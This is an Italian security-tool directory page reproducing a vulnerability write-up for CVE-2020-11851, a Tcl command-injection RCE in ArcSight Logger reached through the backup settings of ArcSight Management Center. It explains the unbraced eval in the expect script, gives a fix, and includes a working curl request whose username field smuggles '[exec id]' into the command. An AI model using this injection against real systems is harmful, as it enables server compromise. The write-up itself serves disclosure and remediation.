Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-11851 — Vulnerabilità di esecuzione remota di codice su ArcSight Logger | Kitploit
Strumenti/GitHubGitHub/ch1nghz/cve-2020-11851
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

Vulnerabilità di esecuzione remota di codice su ArcSight Logger

Vedi Repository
2015 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-11851

Vulnerabilità di esecuzione di codice remoto su ArcSight Logger (tramite ArcSight Management Center)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

Sommario esecutivo

Contesto della vulnerabilità

ArcSight Logger è una soluzione completa di gestione dei log che semplifica gli oneri di conformità e consente ai professionisti della sicurezza di effettuare indagini forensi più rapide, unificando e archiviando i log dei dati macchina provenienti dall'intera organizzazione e facilitando la ricerca rapida e la reportistica su tali dati.

ArcSight Management Center (ArcMC) è un centro di gestione della sicurezza centralizzato che gestisce grandi distribuzioni di soluzioni ArcSight come ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors e ArcSight Connector Appliance (ConApp) attraverso un'unica interfaccia.

La vulnerabilità può essere sfruttata tramite la funzionalità di backup di ArcSight Management Center (versione: 2.7.1.2065.0). Questa opzione di backup utilizza gli script “expect” di ArcSight Logger, che usano il Tool Command Language (Tcl). La vulnerabilità consente agli aggressori di eseguire comandi Tcl arbitrari. Questa vulnerabilità riguarda il prodotto Micro Focus ArcSight Logger e interessa tutte le versioni precedenti alla 7.1.1.

Conclusione

Il server che esegue il software vulnerabile può essere compromesso dagli aggressori tramite la vulnerabilità RCE e diventare una testa di ponte dalla quale un avversario potrebbe lanciare ulteriori attacchi contro i server dell'organizzazione, culminando in una grave violazione. Questa vulnerabilità può comportare perdita di dati, corruzione o divulgazione a soggetti non autorizzati, perdita di responsabilità o negazione dell'accesso.

Raccomandazioni

Si consiglia di verificare le best practice di sicurezza Tcl per gli script “expect”. In pratica, usare le parentesi graffe in eval sarebbe sicuro come mostrato di seguito:

root@kitploit:~
eval puts $exploit   ;# vulnerable  

eval "puts $exploit" ;# vulnerable

eval {puts $exploit} ;# safe

Ulteriori informazioni sono disponibili qui: https://wiki.tcl-lang.org/page/Injection+Attack

Contesto tecnico

Questa sezione descrive in dettaglio i vettori di iniezione di comandi che possono essere utilizzati per rilevare la vulnerabilità in ArcSight Logger. I titoli seguenti possono essere utilizzati per riprodurre i passaggi dell'attacco.

Esplorazione dell'opzione di backup vulnerabile

Nella scheda di amministrazione è presente un'opzione di backup.

1

Come possiamo vedere, possiamo configurare un server di backup remoto utilizzando il protocollo SCP. Dopo aver cliccato sul pulsante “Salva”, ho eseguito il debug dei processi del server utilizzando lo strumento “pspy”, che può essere scaricato da qui: https://github.com/DominicBreuker/pspy/releases

Debug del server e analisi della causa principale

Dopo aver salvato la configurazione di backup, ho rilevato che l'applicazione utilizza uno script bash per verificare il server SSH come mostrato di seguito (si prega di guardare il PID 95427):

2

Ecco il comando più dettagliato (PID 95427) per la spiegazione:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

Diamo un'occhiata al contenuto di “runexpect.sh” e “scp.expect.dir.backup1” (script expect) prima di spiegare la logica di “runexpect.sh”.

Ecco il contenuto di “runexpect.sh”:

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

Ed ecco il contenuto dello script expect chiamato “scp.expect.dir.backup1”

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

Come possiamo vedere, “runexpect.sh” imposta la variabile d'ambiente (LD_LIBRARY_PATH) e poi esegue il binario “expect” utilizzando lo script “expect” chiamato “scp.expect.dir.backup1”. Questo script “expect” riceve 4 argomenti da utilizzare nel comando “ssh”.

La vulnerabilità vera e propria inizia alla riga 5 dello script chiamato “scp.expect.dir.backup1”. Come accennato in precedenza, senza parentesi graffe, gli input forniti dall'utente possono essere molto pericolosi negli script Tcl.

Ottenere l'esecuzione del codice

Poiché questa vulnerabilità di esecuzione di codice è completamente cieca, ho usato il modo più semplice per dimostrarne l'esecuzione. Ho utilizzato lo strumento “pspy” per eseguire il debug dei processi e illustrare l'esecuzione arbitraria di codice inviando la richiesta HTTP dannosa.

Ecco la logica che volevo che lo script “expect” eseguisse:

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome

Spieghiamo come ottenere questo risultato. Se inserisco spazi tra le “stringhe” nel parametro “field-username” della relativa richiesta HTTP, queste verrebbero interpretate involontariamente dallo script “expect” perché esso non valida il numero di argomenti, il che significa che potrei iniettare [exec come numero di porta e id] come nome utente. Normalmente, non potrei iniettare il parametro del numero di porta della relativa richiesta HTTP a causa della validazione dell'input (dovrebbe contenere solo cifre).

Dopo aver inviato la richiesta HTTP qui sotto, ho eseguito con successo il comando e ne ho stampato l'output con lo strumento “pspy”.

3

4

Ecco la corrispondente richiesta CURL che ho utilizzato per sfruttare la vulnerabilità (si prega di modificare i token relativi alla sessione e il target):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
Scarica lo strumento